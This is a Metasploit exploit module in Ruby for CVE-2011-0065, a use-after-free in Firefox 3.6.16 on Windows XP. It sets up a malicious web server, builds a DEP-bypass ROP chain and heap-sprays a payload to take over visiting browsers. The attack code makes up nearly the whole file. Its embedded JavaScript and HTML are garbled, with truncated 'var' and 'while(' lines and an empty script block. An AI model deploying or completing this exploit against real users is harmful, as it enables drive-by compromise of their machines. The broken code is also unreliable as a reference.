require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
'Description'=> %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). This module uses heapspray
with a minimal ROP chain to bypass DEP on Windows XP SP3
},
'License'=> MSF_LICENSE,
'Author' =>
[
'regenrecht',
'Rh0'
],
'Version'=> "$Revision: 13507 $",
'References' =>
[
['CVE','2011-0065'],
['OSVDB','72085'],
['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL','http://www.mozilla.org/security/announce/2010/mfsa2011-13.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload'=>
{
'Space' => 1024,
},
'Targets'=>
[
[
'Firefox 3.6.16 on Windows XP SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'May 10 2011'
))
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli).encoded) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
handler(cli)
end
def generate_html(payload)
custom_stack = [
0x1052c871,
0x7c801ad4,
0xbeeff00d,
0xbeeff00d,
0x1003876B,
0x0c0c0048,
0x00000400,
0x00000040,
0x0c0c0c00
].pack("V*")
payload_buf= ''
payload_buf << custom_stack
payload_buf << payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js_element_name= rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name= rand_text_alpha(rand(10) + 5)
js_final_chunk_name= rand_text_alpha(rand(10) + 5)
js_block_name= rand_text_alpha(rand(10) + 5)
custom_js = <<-JS
var
var
while(
var
var
while (
var
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] =
}
JS
custom_js = custom_js.gsub(/^\t\t/, '')
html = <<-HTML
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
</script>
</body>
</html>
HTML
return html
end
end